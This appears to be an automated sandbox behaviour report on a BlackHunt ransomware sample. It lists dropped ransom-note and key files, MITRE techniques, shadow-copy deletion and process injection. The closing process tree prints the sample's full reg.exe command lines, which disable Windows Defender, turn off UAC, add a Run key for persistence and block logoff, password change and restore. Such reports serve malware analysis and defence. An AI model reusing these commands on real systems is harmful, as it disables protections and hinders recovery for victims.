File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.xml	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\codec\#BlackHunt_Private.key	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\#BlackHunt_Private.key	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Brisbane	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.databinding_1.6.200.v20140528-1422.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-settings.xml	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_zh_CN.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\Java\jre7\lib\zi\Africa\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-modules-appui.xml	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\Documentation.url	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.txt	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_ButtonGraphic.png	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Port-au-Prince	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_ja_4.4.0.v20140623020002.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Indianapolis	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Berlin	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_ReadMe.txt	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Warsaw	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\#BlackHunt_Private.key	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\#BlackHunt_Private.key	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\Java\jre7\lib\security\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Sao_Paulo	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.txt	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground_PAL.wmv	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\#BlackHunt_Private.key	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Ojinaga	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-options.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_Private.key	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.txt	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\CIEXYZ.pf	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\plugin.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_ja.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Casey	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kamchatka	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport.wmv	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs.xml	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Malta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2064	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1316	vssadmin.exe
2360	vssadmin.exe
2104	vssadmin.exe
1132	vssadmin.exe
2012	vssadmin.exe
2204	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4040	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2120	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3744	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Token: SeRestorePrivilege	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Token: SeBackupPrivilege	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Token: SeTakeOwnershipPrivilege	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Token: SeAuditPrivilege	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Token: SeSecurityPrivilege	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Token: SeIncBasePriorityPrivilege	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Token: SeBackupPrivilege	3168	vssvc.exe
Token: SeRestorePrivilege	3168	vssvc.exe
Token: SeAuditPrivilege	3168	vssvc.exe
Token: SeBackupPrivilege	1836	wbengine.exe
Token: SeRestorePrivilege	1836	wbengine.exe
Token: SeSecurityPrivilege	1836	wbengine.exe
Token: SeSecurityPrivilege	556	wevtutil.exe
Token: SeBackupPrivilege	556	wevtutil.exe
Token: SeSecurityPrivilege	4080	wevtutil.exe
Token: SeBackupPrivilege	4080	wevtutil.exe
Token: SeSecurityPrivilege	3668	wevtutil.exe
Token: SeBackupPrivilege	3668	wevtutil.exe
Token: SeSecurityPrivilege	4068	wevtutil.exe
Token: SeBackupPrivilege	4068	wevtutil.exe
Token: SeSecurityPrivilege	3840	wevtutil.exe
Token: SeBackupPrivilege	3840	wevtutil.exe
Token: SeDebugPrivilege	4040	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 3024	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	32
PID 2868 wrote to memory of 3024	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	32
PID 2868 wrote to memory of 3024	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	32
PID 2868 wrote to memory of 3024	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	32
PID 2868 wrote to memory of 2432	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	30
PID 2868 wrote to memory of 2432	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	30
PID 2868 wrote to memory of 2432	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	30
PID 2868 wrote to memory of 2432	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	30
PID 2868 wrote to memory of 2752	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	33
PID 2868 wrote to memory of 2752	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	33
PID 2868 wrote to memory of 2752	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	33
PID 2868 wrote to memory of 2752	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	33
PID 3024 wrote to memory of 2604	3024	cmd.exe	35
PID 3024 wrote to memory of 2604	3024	cmd.exe	35
PID 3024 wrote to memory of 2604	3024	cmd.exe	35
PID 2868 wrote to memory of 2660	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	34
PID 2868 wrote to memory of 2660	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	34
PID 2868 wrote to memory of 2660	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	34
PID 2868 wrote to memory of 2660	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	34
PID 2868 wrote to memory of 2680	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	45
PID 2868 wrote to memory of 2680	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	45
PID 2868 wrote to memory of 2680	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	45
PID 2868 wrote to memory of 2680	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	45
PID 2432 wrote to memory of 2612	2432	cmd.exe	41
PID 2432 wrote to memory of 2612	2432	cmd.exe	41
PID 2432 wrote to memory of 2612	2432	cmd.exe	41
PID 2868 wrote to memory of 2808	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	38
PID 2868 wrote to memory of 2808	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	38
PID 2868 wrote to memory of 2808	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	38
PID 2868 wrote to memory of 2808	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	38
PID 2868 wrote to memory of 2608	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	39
PID 2868 wrote to memory of 2608	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	39
PID 2868 wrote to memory of 2608	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	39
PID 2868 wrote to memory of 2608	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	39
PID 2868 wrote to memory of 2468	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	43
PID 2868 wrote to memory of 2468	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	43
PID 2868 wrote to memory of 2468	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	43
PID 2868 wrote to memory of 2468	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	43
PID 2868 wrote to memory of 2740	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	101
PID 2868 wrote to memory of 2740	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	101
PID 2868 wrote to memory of 2740	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	101
PID 2868 wrote to memory of 2740	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	101
PID 2868 wrote to memory of 2488	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	155
PID 2868 wrote to memory of 2488	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	155
PID 2868 wrote to memory of 2488	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	155
PID 2868 wrote to memory of 2488	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	155
PID 2868 wrote to memory of 2504	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	53
PID 2868 wrote to memory of 2504	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	53
PID 2868 wrote to memory of 2504	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	53
PID 2868 wrote to memory of 2504	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	53
PID 2868 wrote to memory of 2224	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	50
PID 2868 wrote to memory of 2224	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	50
PID 2868 wrote to memory of 2224	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	50
PID 2868 wrote to memory of 2224	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	50
PID 2752 wrote to memory of 2460	2752	cmd.exe	48
PID 2752 wrote to memory of 2460	2752	cmd.exe	48
PID 2752 wrote to memory of 2460	2752	cmd.exe	48
PID 2868 wrote to memory of 2136	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	51
PID 2868 wrote to memory of 2136	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	51
PID 2868 wrote to memory of 2136	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	51
PID 2868 wrote to memory of 2136	2868	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe	51
PID 2680 wrote to memory of 2636	2680	cmd.exe	54
PID 2680 wrote to memory of 2636	2680	cmd.exe	54
PID 2680 wrote to memory of 2636	2680	cmd.exe	54

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
"C:\Users\Admin\AppData\Local\Temp\024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2060
- C:\Windows\System32\cmd.exe
